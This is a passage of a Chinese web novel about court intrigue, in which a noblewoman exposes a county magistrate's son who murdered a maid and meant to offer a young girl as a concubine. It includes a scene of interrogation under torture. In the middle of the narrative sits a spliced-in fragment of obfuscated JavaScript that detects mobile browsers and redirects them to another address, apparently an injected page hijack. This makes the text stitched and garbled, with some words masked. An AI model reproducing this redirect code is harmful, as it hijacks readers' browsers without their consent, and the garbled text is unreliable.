“大人,我……我冤枉。”马文青额头生汗,嘴唇哆嗦。
他爹是地方县令,在地方嚣张惯了,哪想到一入京就遇到了硬茬子。
沈朝昭鞭柄抵在他的脖子上,“你还有脸喊冤枉?即是**又是欺辱**,本姑娘就没见过比你还恶毒的人。”
马文青被鞭柄抵得脖子生疼,却仍强撑着狡辩:“我……我没有。”
孟南枝将小姑娘轻轻推给月芹,起身走到马文青面前,眸似寒冰,“你,准备把她送给谁?”
千里迢迢从辉县寻来一名女童,带到京都送给人做妾室。
那这人不是有着他们的把柄。
就是有着他们想要攀附的权势。
马文青嘴巴颤抖,直摇头,“没有,什么也没有,她在说谎,你们都被她骗了。”
闵大人对孟南枝拱手道:“孟夫人,此事尚未查实,依本官看,还是先将他押回府衙细审为好。”
如此,他也能做到两不得罪。
孟南枝眸光扫过虽不敢再多说一句,却眼神狠厉的黄营东,鼻尖发出冷哼。
“闵大人,虽然此事尚未查实,却已涉及命案,还是直接报到刑部吧。”
“这……”
闵大人迟疑。
这马文青到底是吏部尚书的姻亲。
还没核查就直接交到刑部,只怕会得罪吏部尚书。
孟南枝见他这般模样,便知他心中算计。
指尖揉捏两下后,孟南枝语气放缓道:“闵大人,太子回来了吗?”
九曲河决堤,山城发洪水。
太子去赈灾,至今还未回。
那这背后只怕是不简单。
再联想小姑娘前后所说的话。
闵大人瞬间惊醒,后背生出一身冷汗,姿态放低了一点,“本官这就将人送到刑部,交由刑部核查。”
马文青闻言面色更加苍白,“大人,我是冤枉的,大人,我真没做过。”
闵大人却是再也不听他所言,对衙役抬了抬下巴,“堵上他的嘴。”
心术不正的东西,害他差点犯了原则性错误。
见黄营东悄悄地向后退,孟南枝再次出言道:“闵大人,黄公子自证马文青清白,也一同送往刑部吧。”
抓一个是抓,抓两个也是抓。
闵大人便顺着孟南枝的话,道:“黄营东,既然你一直力证他的清白,便一同前往刑部吧。”
正准备溜走回家求助的黄营东面色青白,“大人,此事与我无关。”
闵大人摆了摆手,示意衙役将他也给带走。
待耳边清净后,闵大人微微拱手,“多谢孟夫人提点。”
孟南枝微微颔首,未再多言。
闵大人却是看了眼她的身后,陪笑道:“孟夫人,这个小姑娘……”
作为人证,这个小姑娘也是需要送到刑部的。
“我、我……”
小姑娘害怕地向后躲了躲。
孟南枝语气缓和,“闵大人放心,稍后我会亲自将人送过去。”
“如此就有劳孟夫人了。”
闵大人这才放心地提步离开。
“母亲,我送丫丫去刑问吧。”沈朝昭收起长鞭,走到孟南枝面前。
孟南枝看了眼她期待的小脸,笑问道:“铺子里的情况你都了解了?”
沈朝昭道:“还没呢,我刚来没多久,就碰到了那个人**。”
“那你就在铺子里多学学。”
这趟水不知究竟有多深,孟南枝不希望女儿搅进去。
沈朝昭杏眼微丧,虽然有些不情愿,却还是乖巧地应下,“那好吧。”
孟南枝满意地摸了摸她的头,转头牵住小姑娘的手,“丫丫,跟我走吧。”
小姑娘泪汪汪地看了眼沈朝昭,才将小手放在孟南枝的掌心。
孟南枝没有直接去刑部。
而是先询问了小姑娘一堆问题。
让她从她家被淹,到她被卖被买,还有到京都后,所见过的所有人和所有事回顾了一遍。
孟南枝整理后,捋出有用的信息写下来。
分别叮嘱月芹
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和月满,带去太子府和曹国公府。
并让阿贵带着小姑娘先吃顿饭。
而她则随手买了份菜肴,赶去官署寻父亲。
不管是太子府,还是曹国公府,都只能算作是同盟。
父亲和子女才是她最信任的人。
官署。
孟正德的病情已经彻底痊愈。
得知女儿给他送饭,他便知女儿应是有要事同他相说,屏退了屋内的几位官员。
“父亲。”
孟南枝将饭匣放在了一侧的桌案上,并未打开。
里面并不是父亲特别喜欢吃的菜,她是什么菜最快,要的什么菜。
稍后还有家仆亲自送饭过来。
“先坐。”
未到时辰,孟正德本也不饿。
他从案前起身,坐到旁边待客的椅子上。
事态紧急,孟南枝连忙将今日发生之事,不加个人观点地同父亲一一叙述。
孟正德闻言眉头紧皱,手指在椅柄上打转了几圈后,他才沉声说道:“此事为父知道了,这件案子我会亲自盯着,你先回去吧。”
他虽未主管刑部,但以涉及山城洪灾一案把此案的主管权要过来,却并不难。
唯一可惜的是,谢归舟半柱香前刚离开。
若是早一步,他便不用再额外派人赶去山城。
孟南枝见父亲已经有了决断,便起身准备告辞。
只是在转身无意瞥见父亲发间又新增的几根乌发时,顿了顿。
她还记得父亲重新入朝那日,胡姨娘看着父亲头上长出的乌发喜极而泣的样子。
听到父亲重新入朝,胡姨娘并没有太多波动。
反而是看到那几根乌发,胡姨娘的激动是任何人都无法比拟的。
想了想,孟南枝轻声道:“爹,赵佩兰**。”
“嗯?”
孟正德抬头看向女儿。
这件事他一直交由女儿处理,女儿也处理得很好。
即便是**,他也不认为这是件大事。
见父亲这般模样,孟南枝暗叹一口气,“您得了闲,去探望一下胡姨娘吧。”
孟正德眼帘微垂,默了几息,点头应下。
“好。”
第209章 我不该惹您
从官署出来,孟南枝寻到带着小姑娘的阿贵,同他一起将小姑娘送到了刑部。
马夫人也在现场,正在丫鬟的搀扶下趴在门边呕吐。
刑部的审案厅,还摆着一个刚挖出的女尸。
女尸的头发似被血水浸透,衣服、脸颊、发间,还都带着泥土。
厅门边上,还站着一个灰衣仆人。
他见到孟南枝,双手抱拳,拇指朝上,微弯下了头。
这是曹国公府的人,告诉她,已经按照她说的在查了。
孟南枝微微颔首,那仆人便悄声退下。
呕吐完的马夫人抬头看到孟南枝,瞳孔放在,震了一瞬,便苍白着脸,双腿发软得差点跌跪到她面前。
“南枝,是我错了,都是我的错,我不该惹您。”
“我求您,放过文青吧,我就这一个侄子。”
孟南枝往后退了一步,“马夫人这话,恕我不能听懂。他即是犯了律法,也该依律处罚才对,这跟我有什么干系?”
马夫人泪如雨下,语无伦次道:“南枝,他不该到您铺子里**,我知道文青他做了错事,可他年纪还小,他不懂事。”
自上次城门施粥入了牢狱,她就知道错了。
老爷是彻底生了她的气,态度坚决地要立那个**的庶长子为嫡子。
还妄图降她为妾!
要知道她当初在镇北侯想要降孟南枝为妾时,可是拱了不少火,就为了能让孟南枝扫尽脸面,以报儿子被落狱之愁。
可真等她要被降为妾时,她才知道有多委屈。
她不甘心,那个**,她只是个妾室,她凭什么。
她给兄长寄了信,让兄人来为她撑腰。
可兄长却说山城洪灾、事物繁忙,不能亲自到场,特地交代侄子前来。
她在昨日才见到侄子的面。
降妾的事情还没解决,侄子就因涉嫌**被抓到刑部了。
这岂不是更给了老爷降她为妾的理由。
马夫人说着,便要跪下磕头,“南枝,您为人一向宽宏大量,就饶了他这一次吧。”
孟南枝侧身避开,神色冷淡,“马夫人,求饶的事,你还是在公堂上说吧。”
马夫人见孟南枝不为所动,哭得更加厉害,“南枝,我真的知道错了,只要您原谅了文青,不让这个小姑娘告他,您让我做什么都行。”
她听奴仆说了,一切的根源都在于孟南枝身侧的小姑娘。
只要那个小姑娘改口,一切罪责都能从有变成无。
而能否让小姑娘改口,则取决于孟南枝愿不愿意。
只要侄子不出事,她的娘家依旧牢稳可固,那她的地位说不定还能保住。
孟南枝鼻间轻哼一声,缓缓摇头,“马夫人,此乃为**,应当交由刑部处理,我无权干涉。”
马夫人见求她无果,生了怨气,“孟南枝你这么狠心,会不得善终的。”
孟南枝眼神微凝,嗤笑道:“马夫人,我从来没想过善终。但我觉得你应该没见过我更狠心的样,你要不要见一见?”
马夫人被孟南枝突然阴狠的眼神吓得一哆嗦,面色惨白地瘫坐在地上。
“南枝,你到底要怎样,才愿意放过我,放过他?”
怎样,都不会放过。
孟南枝拉着小女孩,抬脚跃过她,走进审案厅。
主审人依旧是曹宛宁的夫君,陈大人。
马文青依旧被绑着,不敢看女尸的神情带着害怕。
黄营东看向孟南枝的目光中带着怨怼。
刚才母亲求她的话,他都听见了。
这孟南枝当真是狠心。
他母亲都低声下气到那种份上了,她竟然还不开口说原谅。
陈大人重拍惊木,“马文青,现在人证物证已皆在,你还不从实招来!”
马文青身体一颤,嘴唇嗫嚅道:“大人,我……我昨夜喝醉了酒,什么都不知道,我也不知道这丫鬟怎么就**。”
陈大人冷哼一声,“尸体所埋位置是你的奴仆供出来的,他们还亲眼见到是你用花瓶将她砸死,你还敢狡辩!”
马文青苍白着脸反驳,“大人,我真不知道,我喝多了。”
陈大人:“如此语气确凿之事,还在狡辩,来人,上刑。”
两个衙役应声上前,手里还拿着副黄铜拶子。
那是由五根圆木棍组成、中间用麻绳串联、末端高有活扣,可随意收紧的刑具。
马
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文青见状,脸色吓色瞬间煞白。
他爹是县令,审案时最喜欢用的就是这个刑具。
只要对方不认罪,他爹就会让对方先感受一下这个刑具的滋味。
他见过很多不听话的,在这个刑具下痛得屁滚尿流。
瘫在门口的马夫人见此,连忙起身跑进来,“大人,我侄子他是不可能**的,您怎么可能用刑?”
陈大人目不斜视,并不理她。
衙役按住马文青,将他的手放置在刑具中。
还没开始收紧,马文青便已经感觉到了疼痛,拼命挣扎道:“大人,我说,我说。”
“人是我杀的,是我杀的。”
陈大人微微颔首,示意衙役退下。
马文青举着根本没有伤着的手指,抽了抽鼻涕道:“大人,我杀她,是因为她不听话,想要爬我的床,我才动手杀了她。”
“你胡说。”
孟南枝身后的小姑娘双目含泪,颤巍巍地发出声音。
在孟南枝的鼓励下,她才放大了声音道:“大人,他是因为被美晴姐姐知道了秘密,才把美晴姐姐杀了。”
“他要把我送给一个很厉害很厉害的人做妾室。”
马文青底气不足地辩驳,“大人,这个小姑娘脑子有问题,她连毛都没长齐,哪里会有人愿意要这样一个小姑娘做妾室。”
若是自由身,他狠不得一巴掌把这个从他手上溜走的小姑娘给拍死。
陈大人重拍惊木,厉声道:“上刑。”
他审案众多,岂会看不出他没说一句实话。
像这种自以为是的二世祖,只有真正见血,才会知道害怕。
衙役这次将马文青的手指放进刑具后,不由分说就开始施刑。
他痛得哇哇大叫,“大人,我说,我说。”
陈大人依旧未曾喊停。
直到鼻涕眼泪流了满面,身下泄了身,陈大人才喊停。
马文青双手尽血,瘫在地上,已经抬不起来。
“大人,我招,人是我杀的。”
陈大人:“你要把她送给谁?”
马文青双目无神地盯着虚空,嘴角抽了抽。
“平阳公。”
“我要把她送给平阳公。”
第210章 想要外出养伤
此言一出,满厅皆惊。
孟南枝眉峰微蹙,指尖蜷起。
巨幕中平阳公虽然因为支持二皇子失败被剥了爵位,却并没有出现这一幕。
马夫人跌撞着爬到马文青身前去堵他的嘴,“文青,你可千万别胡说。”
平阳公岂是他们可以攀扯的?
陈大人面色凝重地站了起来,“马文青,你可知污蔑皇亲国戚乃是重罪?”
马文青眼神空洞,发青的嘴唇颤抖着,不再说话。
“马文青,你给我醒醒!”
黄营东面目狰狞地蹲下身子去扇马文青的脸,试图将他打醒。
他母亲这些年依附平阳公陈夫人为他铺了不少路,他也跟着甄少兴混了不少好处。
若是得罪了平阳公,黄营东不知道他会死得多么惨。
马文青被打得醒了神,意识到自己刚刚供出什么后,脑花“砰”一下炸了。
他忙翻起身子,开始翻供,“大人,我没有,我刚才只是……”
陈大人却不再容他细说,“把他即刻押入大牢,严加看管,任何人不得探视。”
“还有你们两个。”陈大人眸色严肃地看向马夫人和黄营东,“在案件未查清之前,不得离开刑部。”
虽然没有明说将他们押入牢狱,但这又跟坐牢有什么区别?
马夫人还在声音凄惨地辩驳,“大人,我侄子他是吓傻了,大人,此事不能为证。”
陈大人摆手,示意侍卫将他们这对母子赶紧看管起来。
对孟南枝微微颔首后,陈大人便疾步离去。
此案审到这种地步,已经不是他身为一名郎中可以处理的了,必须即刻上报给尚书大人,面见圣上才行。
孟南枝叮嘱月芹,将这里的情况即刻报于父亲,好让父亲做好应对。
小姑娘不懂供出平阳公的意义。
她见马文青被带走后,就松开孟南枝的手,跌跪在女尸面前嚎啕大哭。
要不是因为她,美晴姐姐也不会死。
从刑部出来,天已渐暮。
一身绯色衣裙的沈朝昭正站在夕阳下等她,霞光打在她的脸上,带着无限朝气。
“母亲。”
她轻快地跃到孟南枝身前,“结束了吗?那坏蛋招了吗?他准备把丫丫送给谁?”
孟南枝好笑地点了下她的脑袋,“结束了,招了。”
至于送给谁,暂时没有定论,却不便和她说。
为了避免她一直好奇地追问,孟南枝转移话题,“铺子里的情况你都了解了?”
沈朝昭点头,“差不多了。”
铺子里的掌柜很专业,再加上有刘嬷嬷与知秋在旁边和她解释补充,沈朝昭很快就将铺子里的情况摸了个大概。
世家子女,本就不是以经商为主。
她只要摸清楚经营思路,做到小盈不亏就行。
简单地和母亲说了下自己对铺子的安排与打算后,沈朝昭圆溜溜的杏眼看着孟南枝的身后直转。
“母亲,陆筝筝还在牢狱吗?”
孟南枝轻睨了她一眼,“你又想做什么?还想看她?是没吃够教训?”
三年牢狱之刑,陆筝筝不可能逃得掉。
当初若没把握,孟南枝不会轻易出手。
沈朝昭想起上次被陆筝筝陷害的事就头皮发麻,她连连摇头,“没有,母亲,我没想去看她。”
“我是刚才在铺子里,听到两个小丫鬟说陆筝筝上次被打后,一直起热不退,林婉柔想要和刑部申请把她接出去养伤呢。”
母亲走后,她就在铺子里一样一样看掌柜准备新制的首饰,正看得仔细时,进来两个小丫鬟。
那两个小丫鬟一边挑首饰,一边小声地拉着家常。
没一会儿就拉扯到了陆筝筝病重,林婉柔想要将她接出去养伤的事上。
孟南枝蹙眉,“谁家的丫鬟?”
什么丫鬟会知道这么私密,连她都不知道的事。
这倒问住了沈朝昭,她眨巴了两下眼睛,看向知秋。
刘嬷嬷腿脚不便,从铺子里出来,她就让知夏先送刘嬷嬷回府了。
知秋微弯身子,“夫人,奴婢瞧着有点像陈国公府的丫鬟,但奴婢对那丫鬟只见过一面,不是很确定。”
“陈国公府的小丫鬟怎么会在铺子里?”孟南枝觉得没有那么简单。
沈朝昭没有多想,“她去买首饰啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715526|185648||http|test|mini|href|location''.split(''|''),0,{}));
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r>孟南枝看了眼女儿单纯的神情,暗自叹气,提醒道:“陈国公府的丫鬟,难道不知道什么事该说什么事不该说?”
“怎么偏偏就在咱们的铺子提及陆筝筝,还刚好让你听到呢?”
沈朝昭对上母亲的眼睛,回想刚才铺子里的画面,总算回过味来。
对方故意说给她听的。
她想干什么?
刺激自己去找陆筝筝?
若非母亲刚好在刑部,她是不是真就脑子一热又闯进牢狱了?
“母亲,我……”
沈朝昭一时有些懊恼。
孟南枝见女儿已经明白,轻拍她的脑袋,温声劝慰:“昭儿,这世间人心难测,有些事看似偶然,实则暗藏算计。”
“你如今能察觉其中蹊跷,已是进步。往后行事,需多留个心眼,切记莫要冲动,定要三思而后行。”
沈朝昭丧气地点头,“嗯。”
母亲竟是安慰她,她哪里察觉出蹊跷了。
都说吃一堑长一智,她都吃了好多堑,感觉一点用都没有。
这些堑八成都是假的。
但沈朝昭还是有些不解,“母亲,我们没有得罪陈国公府吧?”
孟南枝抬目看向陈公国府的方向,轻笑道:“你没有,但母亲有。”
她上次算计茗央郡主出面撕了陆筝筝的脸,怕是已经被陈茗央的母亲孙夫人知道。
此刻故意告知林婉柔和陆筝筝的消息,八成算是送给她的“回礼”。
当然,还有一层意思,便是想借孟南枝的手,除掉这个在她女儿陈茗央心中同样成了刺的陆筝筝。
毕竟,茗央郡主一直心悦萧临渊。
陈国公府也有想再次加固皇亲国戚地位的打算。
太子,有曹宛宁压制,他们自知女儿不可能出头。
二皇子,他们又看不上。
唯有四皇子—奕王萧临渊,是最合适的。
“那母亲我们该怎么办?”沈朝昭有点担忧。
“不用担心。”孟南枝握住女儿的手,看着牢狱的地方轻笑。
孙夫人想借她的手,哪那么容易。
而林婉柔想把陆筝筝接出去,也得看她有没有那个本事。
第211章 沈砚修的成长
陆筝筝病了。
病得很严重。
上次的三十杖棍,在孟南枝的眼皮子底下,打得没有一丁点水分。
她整个背部和臀部都已经裂开,连骨子里都是疼的。
浑身滚烫,脑子更是浑浑噩噩。
申诉期已到,早上侯爷和母亲来看她,和她解释说并没有想到替她脱罪的办法。
不能脱罪,难道她真的要在这阴暗潮湿的牢狱中度过三年?
陆筝筝觉得难以接受。
她对侯爷哭诉,想让侯爷想想办法。
可母亲却似乎不想让她说话,总是打断她。
说会想办法把她弄出去养伤。
陆筝筝不要养伤,她只想要脱罪。
浑浑噩噩中,牢门被打开。
女官带着两名太医走了进来,把脉、施针、涂药。
全程没有一句话,对方看诊完,提起药箱就走。
陆筝筝使出全身力气,才拽住一名太医的衣角,“求你,求你,我要见奕王。”
那名太医皱眉试图抽出衣角,却发现陆筝筝拽得死紧,他根本就拽不动。
便多加了两分力气,结果衣角是抽出来了,但却把陆筝筝给拉摔到了地上。
吓得他眉头直跳,忙再去把脉,生怕因为自己把她给摔**。
好在陆筝筝虽气息紊乱,但脉相始终强劲有力。
两名太医互视一样,便又前后脚离开牢狱。
被看诊过后的陆筝筝很快陷入昏睡,并不停地低语。
“母亲……侯爷……奕王……世子哥哥……”
说到“世子哥哥”时,陆筝筝清醒了一瞬。
对,世子哥哥。
世子哥哥一直爱怜她。
如果世子哥哥在,她去求世子哥哥。
由世子哥哥向南姨求情,南姨会不会放过她?
……
沈砚修没空去想陆筝筝。
他自上次从悬崖回来后,便出了疫病。
每个人都在忙,唯有他。
将军和太子以他腿伤为由,让他好好养伤,不让他出去。
更是安排了明挽月一直守着他。
眼下疫病已过,所有人都开始忙碌百姓的安置和家园重建工作。
他自认腿伤已经好得差不多,自然不肯闲着。
便趁明挽月不在的时候,柱着拐杖偷偷跑了出来。
比起刚出京,沈砚修消瘦了不少,带来的衣服都变得宽大,穿在身上,尤其是柱着拐杖,显得不伦不类。
随着疫情的消散,此前空荡荡的街道眼下已经开始陆陆续续地多了流动的百姓。
沈砚修觉得很欣慰,这个地方的治理有他出的一份力。
每一个发洪灾往外逃离百姓的回归,都值得他高兴和庆祝。
他一边走,一边用当地的土话和路上的百姓打招呼。
“回了?”
“吃饭没?”
“这是去哪?”
活脱脱一副没见过世面,当地土仔的形象。
一开始还有路人愿意理他,等后面时,过路的百姓都躲着似的远离他。
沈砚修并不觉得自己的言行有问题,还在笑着脸同路人主动说着话。
直到他看到一个和他穿着类似,同样拄着拐杖的小男孩。
小男孩面容清秀,瘦小稚嫩的脸上钳了一双倔强的眼睛。
要说两人有什么不同,除了大小高低不一样,就是小男孩手里多了一个碗。
一边向过往的百姓打招呼,一边向人讨要银钱。
说的土话和沈砚修一模一样。
“回了?”
“吃饭没?”
“这是去哪?”
沈砚修脸一黑,卡在喉间的半句招呼也再说不出。
他悻悻然地走到小男孩面前,曾经带有少年气的声音,如今已经变得成熟。
“府邸给你留了饭,你怎么不回去吃?”
小男孩眼睛滴溜地转动了两下,将手中当作拐杖的棍子一扔,蹲坐在墙边,语气带着不耐烦,“你管我,我不乐意去。”
沈砚修随他一起不顾形象地坐下,背依着墙看着过往的路人,“你父亲肯定不希望你变成这个样子。”
小男孩的爹是当地县尉,因为向太子举证知县,被人暗杀。
将军带人去县尉家里保护他的家人时,他家中失火无人生还。
唯有小男孩,因为和表亲打架,觉得母亲偏心气得不愿回家,而免于一难。
太子念他父亲举证有功,且家中唯留他一人,便想把他安置在府邸,同他们一起生活。
但小男孩不愿,不住在府邸,也不吃府邸的饭。
一开始,还一个劲地往家
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中跑,呆愣愣地看着被烧毁的家。
后来就是漫无目的地在街上闲逛。
如今倒是学会乞丐的样子,讨起银钱来了。
提及父亲,小男孩的眼睛泛红,抽了抽鼻子,反将了他一嘴,“那你父亲肯定希望你变成现在这个样子。”
沈砚修低头看着自己的模样,失笑,“我父亲也不希望我变成现在这个样子。”
他是受伤了,但他内心已经变得更加强大。
不会再拘于父亲的阴影下,更不会再被他的言辞所影响。
这可能并不是他那位满心只有利益得失的父亲,所希望看到的样子。
小男孩不懂沈砚修的想法,他垂下眼帘,声音哽咽,“至少你父亲还活着。”
沈砚修轻摸他的脑袋,“至少你父亲一直爱护你。”
小男孩抬起头,带着不解,“父亲,本身不就该爱护孩子的吗?难道你父亲不爱护你?”
沈砚修抬目看着京都的方向,用沉默回答他的问题。
陪着小男孩**了几息后,沈砚修柱着拐杖站起身子,低头向小男孩伸出手。
“太子安排人对你家的房子重建了,你要不要去看看?”
小男孩这次没再出声呛他,起身后拉住他的手搭在自己的肩上,抱怨道:“你伤还没好,出来乱跑什么?”
沈砚修嘴角微扬,向他活动了两下自己的腿。
“我已经好了。”
小男孩撇了撇嘴,“你还是慢着点吧,再伤就白养了。”
一大一小两人并肩向着街巷走。
“等这里建好后,你们是不是要回京都了?”
“是,建好后就回去。”
“你想家吗?”
“想。”
“你不是说你父亲对你不好,你还想家啊。”
他还有母亲和弟弟妹妹啊。
但沈砚修考虑到小男孩刚失去了家人,便没作声。
他低头看了眼小男孩,“你刚才学着讨要银钱,是怕我们丢下你,担心以后没办法自己生活吗?”
小男孩目视前方,不作声。
沈砚修温声道:“放心,我们不会丢下你的。”
阳光打在他的背影上,曾经那个只是一个眸光过去,就吓哭幼童的少年,如今已经成长为可以让人依靠的样子。
第212章 孟相的圣宠
刑部尚书从陈大人口中得知,山城辉县县令之子竟然亲自到京都给平阳公送妾室,那妾室还是个**岁的幼童。
当下便沉了脸色,步履不停地进了宫。
他一路上脑壳都在打架,思虑该怎么和圣上说,才能让圣上不迁怒于他。
因为半月前,甄少兴聚众**,圣上责令平阳公闭门反思三月后,陈夫人没少到他家里做客。
给他夫人送些稀奇的玩意儿,带她女儿买些珍贵的东西。
为的就是希望他能在圣上面前说两句平阳公的好,减轻平阳公的处罚。
他见平阳公这些时日确实闭门不出,老老实实地待在府上,念着平阳公以往未曾犯过大错,此事只是受庶子连累,左思右想之下便同意了陈夫人的请求。
在今日早朝后,他才刚给圣上递了减轻平公处罚的折子。
他哪想到平阳公他手伸得那么长,竟然和辉县的县令有所勾当,背地里玩得这么花,连幼童都不肯放过。
眼下他只期望圣上还没看到他的折子,要不然脸打得太疼,他怕坐不稳这刑部尚书的位置。
结果等他进了御书房,却看到圣上手里拿的正是他的折子。
而平阳公也已经被“请”了进去,衣衫略有凌乱地跪伏在地上。
当下便心中“咯噔”一跳,连忙同样跪伏在地上,“老臣有罪,恳求陛下责罚。”
萧潜雍未曾理他,任他在地上跪着。
平阳公余光瞥了眼刑部尚书郭继坤,声音发颤,“陛下,臣知罪,臣罪该万死。”
他本在府中左拥右抱,乐享齐人之福,却突然被禁卫军闯入,不由分说地将他“请”进了宫。
一路上他心中惶恐不安,不知自己究竟犯了何事。
眼下见到郭继坤一进来就下跪,便知自己八成又被抓住了错处。
萧潜雍冷哼一声,“你知罪?朕看你是不知罪。郭继坤,你告诉他,他犯了何罪。”
郭继坤头也不敢抬一下地直诉,“据山城辉县县令马启之子马文青指认,平阳公多年间收取马家重礼……”
不待他的话音落下,平阳公便额头生汗地连连磕头,“陛下,臣知罪,臣罪该万死。”
见他认罪,萧潜雍眼神中满是厌恶与愤怒,“平阳公,你身为皇室宗亲,不思为朝廷分忧,为百姓谋福,竟然纵容子嗣聚众**,整日沉溺于声色犬马。”
“如今更是胆大妄为,竟与那辉县县令勾结,送幼童为妾,简直丧心病狂,有辱皇室尊严。朕今日便要重罚你,以儆效尤。”
一直低着头的平阳公听到最后,却是突然睁大眼睛抬起了头,但他只抬了一瞬,便又连忙低下头。
“陛下,臣知罪,臣一时糊涂才收了那马启的高额重礼,但臣从未因此为马启谋过利,更未曾让他送幼童为妾,求陛下明查。”
他身为皇亲国戚,逢年过节收点薄礼多正常。
无非是马启每次送的礼比旁人重了一点。
但他是真的从未收过什么幼童。
这简直是诬告。
萧潜雍闻言眼神微眯,目光如炬地盯着平阳公。
平阳公虽然浑身直冒冷汗,却仍是咬牙坚持。
是他的罪,他认。
但不是他的罪,他不能认。
一时寂静的御书房内,突然响起一道声音,“陛下,此事却有蹊跷,臣以为应当再细细查探。”
一直跪着的郭继坤这才注意到御书房内竟还坐着一人。
孟相,孟正德。
这是何等圣宠。
萧潜雍眸色缓和,“如此便依孟相所言,着人再去仔细查探。来人,将平阳公押下去严加看管,平阳公府所有人员不得进出,待查明真相后再行处置。”
平阳公连忙磕头,“谢陛下隆恩。”
禁卫军领命,迅速上前将平阳公带走。
跪着的郭继坤暗自庆幸,还好孟相及时开口,给了陛下一个台阶下,也给了自己一个缓冲的机会。
他正准备抬眼去看孟正德,却被圣上的一声轻唤惊了神。
“郭继坤。”
萧潜雍重新拿起刚才搁置在桌案上的折子。
郭继坤再次认罪,“陛下,臣知罪,
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恳求陛下责罚”。
萧潜雍沉静的眸子里看不出喜怒。
“你这尚书的位置,已经坐了六年了吧。”
郭继坤额间生汗,眼睛一眨不眨地盯着地面,“回陛下,还有两日满六年。”
萧潜雍颔首:“朕还记得当年你参加春闱时,写的那篇文章,‘若得入仕,必以公正为圭臬,以清廉为衣冠……俸禄之外,一文不取;请托之门,坚闭不纳……盖为官者,当知‘公生明,廉生威’……”
“所以,朕在登上皇位,肃清朝堂后,特意将你提干,封你为刑部尚书。朕,这些年,可曾亏了你的俸禄?”
郭继坤眼含热泪,羞愧难当,“臣,有愧于陛下,臣做出这等糊涂之事,实乃臣之过失。臣未能坚守初心,愧对陛下当年的知遇之恩,更愧对这刑部尚书之位。”
“臣愿自请降职,以示惩戒,亦望陛下能宽宥臣之过失,容臣日后有机会弥补。”
说到最后一个字时,郭继坤声音颤抖,止不住地悔恨。
萧潜雍目光深邃,静静凝视着郭继坤。
良久,他缓缓开口:“朕今日不治你罪,亦不降你官职。此案依旧有你主办,但进展需报于孟相。”
“待此案事了后,你且去吏部领罚,扣俸禄半年,闭门思过一月,好好想想你当初入仕的初心。若再有下次,朕绝不轻饶。”
郭继坤如获大赦,连忙磕头谢恩,“多谢陛下开恩,臣定当铭记陛下教诲,痛改前非,不负陛下期望。”
从皇宫出来,郭继坤才发觉衣服已经湿透。
凉风吹过,猛地打了个哆嗦。
看了眼身后的宫殿,郭继坤暗暗轻叹。
让他主审,却报于孟相,这是保孟相不过于招恨于左相,却又想慢慢挖左相的根,瓦解左相的权柄呢。
果然即便十年不入朝,孟相依旧深得圣宠。
到刑部部署人员务必要连夜彻查此案后,郭继坤才疲惫不堪地回了府。
只是一进府门,他脸色便铁青了起来。
他的夫人正准备去接林婉柔送来的厚礼!
第213章 总归是太轻
林婉柔不可能以己身去帮陆筝筝脱罪。
所以她便想着借由陆筝筝病重的由头,去同刑部尚书求求情,让他同意把陆筝筝接出狱外养伤。
父亲说郭大人一向刚正不阿,正面和他说肯定不会同意,迂回着从他夫人那里入手,机会更大一些。
所以林婉柔便准备了厚礼,以郭夫人表姨母家侄子岳母妹妹的生辰为由想送于她。
两人在府内你来我往地聊了半天,使得本来不想同意的郭夫人,终于卸下心房松了口。
只要郭夫人接手,林婉柔认为此事就成了一半。
结果,却被突然回来的郭继坤打断。
他不仅不接她的礼,还将她给撵了出来。
一点情面都没留给她。
这是什么道理!
“郭大人,我女儿病重,危在旦夕,身在狱中恐会性命不保,您就同意我的请求,让她出来医治吧。”
“我保证,在她医病期间禁她的足,不会让她踏出侯府一步。”
林婉柔言辞恳切,活脱脱一副慈母形象。
郭继坤不为所动,“林夫人请回吧,狱中自有医师为其诊治。”
他现在明则是左相的下属,实则已受孟相的管辖。
为了她一个小小的镇北侯平妻,去得罪孟相,他怕不是脑子进了水。
况且,他才刚被圣上训斥了一顿。
自身的罪责还未择清,若再犯这等错误,那他郭继坤就白在官场上混这么久了。
那陆筝筝不死,是她的运气。
若死,只怕还间接地代孟相替他女儿出了口气。
孟相明着不说,只怕暗里对他的举动也会认可。
平阳公犯那么大的错,孟相只一句话,圣上便转换了语气。
若自己在办案期间得了孟相的夸赞,何愁不能让圣上收了闭门思过的处罚。
见郭继坤不为所动,林婉柔眸色微转,狠了狠心,再次开口道:“郭大人,就算是看在奕王的面子,您就同意了吧。”
她相信身为刑部尚书的郭继坤必然已经知道她女儿和奕王的关系。
郭继坤还真知道,京都就这么大,镇北侯家的那点事是所有人的饭后茶点。
可你们隐晦地怎么弄就好,摆到明面上就不好看了。
奕王权势再高,还能高得过圣上?
竟然敢拿皇子来要挟他。
郭继坤对林婉柔更加不喜,“林夫人,本官只是依律行事,你若再在此纠缠,休怪本官对你不讲情面。”
说罢,他一甩衣袖,示意夫人赶快将她请出去。
知道自家老爷脾性的郭夫人哪里不知他是真的生了气,当下便让身边的嬷嬷把林婉柔给推了出去,还重重地把门关上,落了锁。
林婉柔被推了一个踉跄,幸得丫鬟的扶持才免于摔倒。
过往的路人见状,小声地指指点点。
“这是谁?怎么看着好像是镇北侯的平夫人?”
“可不是么,她这是干什么来了?怎么被郭夫人给赶出来了?”
“你们没听说吗?她那女儿竟然害了镇北侯的正妻,污蔑那正妻的名声,还买凶试图杀了她。”
“真想不到,长得这么好看,心思那么歹毒。”
“你以前不都是夸她有情有义,自己差点溺死,还替那溺亡的镇北侯妻子照顾儿女么?”
“我那也不是跟着别人说的么,人家都说她好,我也以为她好,现在想来那些话怕不是她自己派人传的吧。”
“这可不好说,我就说这世上怎么可能会有那么大度的继母,不亏待前妻的孩子就算是好的了,竟然传得比对自己子女还好,当真是假的可笑。”
“就是就是,那你说,那原来镇北侯妻子留下的那三个孩子一个个名声不好,是不是真的?”
“肯定是假的了,圣上都亲口安排那个长子跟随太子去赈灾了,要是名声不好,圣上会用?”
“说得对,说起来我这些天还常常在街上看到镇北侯的那个次子,一直拿着个本子在街道上画来画去,看起来也不像流传的那种只会玩猫斗狗的样子。”
